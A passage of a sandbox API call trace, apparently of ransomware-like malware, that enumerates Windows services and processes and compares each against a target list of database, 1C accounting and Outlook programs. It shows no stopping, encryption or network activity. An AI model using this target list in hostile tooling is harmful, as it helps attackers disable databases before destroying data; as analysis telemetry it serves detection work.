lpString2="CscService") returned 1 [0147.263] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0147.263] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0147.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0147.263] lstrlenW (lpString="DcomLaunch") returned 10 [0147.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.263] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0147.263] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0147.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0147.263] lstrlenW (lpString="Dhcp") returned 4 [0147.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0147.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0147.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0147.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0147.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0147.263] lstrlenW (lpString="Dnscache") returned 8 [0147.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0147.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0147.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0147.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0147.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0147.263] lstrlenW (lpString="DPS") returned 3 [0147.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0147.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0147.263] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0147.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0147.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0147.264] lstrlenW (lpString="eventlog") returned 8 [0147.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0147.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0147.264] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0147.264] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0147.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0147.264] lstrlenW (lpString="EventSystem") returned 11 [0147.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0147.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0147.264] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0147.264] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0147.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0147.264] lstrlenW (lpString="gpsvc") returned 5 [0147.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0147.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0147.264] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0147.264] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0147.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0147.264] lstrlenW (lpString="LanmanWorkstation") returned 17 [0147.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.264] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0147.264] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0147.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0147.264] lstrlenW (lpString="lmhosts") returned 7 [0147.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0147.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0147.264] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0147.264] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0147.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0147.264] lstrlenW (lpString="MMCSS") returned 5 [0147.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0147.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0147.264] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0147.265] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0147.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0147.265] lstrlenW (lpString="MpsSvc") returned 6 [0147.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0147.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0147.265] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0147.265] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0147.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0147.265] lstrlenW (lpString="NlaSvc") returned 6 [0147.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0147.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0147.265] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0147.265] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0147.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0147.265] lstrlenW (lpString="nsi") returned 3 [0147.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0147.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0147.265] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0147.265] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0147.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0147.265] lstrlenW (lpString="PcaSvc") returned 6 [0147.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0147.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0147.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0147.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0147.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0147.265] lstrlenW (lpString="PlugPlay") returned 8 [0147.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0147.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0147.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0147.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0147.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0147.265] lstrlenW (lpString="Power") returned 5 [0147.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0147.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0147.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0147.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0147.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0147.266] lstrlenW (lpString="ProfSvc") returned 7 [0147.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0147.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0147.266] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0147.266] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0147.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0147.266] lstrlenW (lpString="RpcEptMapper") returned 12 [0147.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0147.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0147.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0147.266] lstrlenW (lpString="RpcSs") returned 5 [0147.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0147.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0147.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0147.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0147.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0147.266] lstrlenW (lpString="SamSs") returned 5 [0147.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0147.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0147.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0147.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0147.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0147.266] lstrlenW (lpString="Schedule") returned 8 [0147.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0147.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0147.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0147.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0147.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0147.266] lstrlenW (lpString="SENS") returned 4 [0147.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0147.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0147.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0147.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0147.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0147.267] lstrlenW (lpString="ShellHWDetection") returned 16 [0147.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.267] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0147.267] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0147.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0147.267] lstrlenW (lpString="Spooler") returned 7 [0147.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0147.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0147.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0147.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0147.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0147.267] lstrlenW (lpString="SysMain") returned 7 [0147.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0147.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0147.267] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0147.267] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0147.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0147.267] lstrlenW (lpString="Themes") returned 6 [0147.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0147.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0147.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0147.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0147.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0147.267] lstrlenW (lpString="TrkWks") returned 6 [0147.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0147.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0147.267] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0147.267] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0147.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0147.267] lstrlenW (lpString="UxSms") returned 5 [0147.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0147.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0147.267] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0147.268] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0147.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0147.268] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0147.268] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0147.270] Process32FirstW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.270] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0147.270] lstrlenW (lpString="System") returned 6 [0147.270] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0147.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0147.270] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0147.270] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0147.270] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0147.270] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0147.270] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0147.270] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0147.271] lstrlenW (lpString="smss.exe") returned 8 [0147.271] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0147.271] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.271] lstrlenW (lpString="csrss.exe") returned 9 [0147.271] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.271] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.271] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.271] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0147.272] lstrlenW (lpString="wininit.exe") returned 11 [0147.272] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0147.272] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0147.272] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0147.272] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0147.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0147.272] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0147.272] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0147.272] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.272] lstrlenW (lpString="csrss.exe") returned 9 [0147.272] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.272] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.272] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.272] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.272] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.272] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.272] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0147.273] lstrlenW (lpString="winlogon.exe") returned 12 [0147.273] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0147.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0147.273] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0147.273] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0147.273] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0147.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0147.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0147.273] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0147.273] lstrlenW (lpString="services.exe") returned 12 [0147.273] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0147.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0147.273] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0147.273] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0147.273] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0147.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0147.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0147.273] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0147.274] lstrlenW (lpString="lsass.exe") returned 9 [0147.274] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0147.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0147.274] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0147.274] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0147.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0147.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0147.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0147.274] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0147.274] lstrlenW (lpString="lsm.exe") returned 7 [0147.274] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0147.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0147.275] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0147.275] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0147.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0147.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0147.275] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0147.275] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.275] lstrlenW (lpString="svchost.exe") returned 11 [0147.275] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0147.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0147.275] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0147.275] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0147.275] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0147.275] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0147.275] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0147.275] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.275] lstrlenW (lpString="svchost.exe") returned 11 [0147.276] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0147.276] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.276] lstrlenW (lpString="svchost.exe") returned 11 [0147.276] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0147.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0147.276] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.276] lstrlenW (lpString="svchost.exe") returned 11 [0147.277] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.277] lstrlenW (lpString="svchost.exe") returned 11 [0147.277] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0147.277] lstrlenW (lpString="audiodg.exe") returned 11 [0147.277] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.278] lstrlenW (lpString="svchost.exe") returned 11 [0147.278] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, 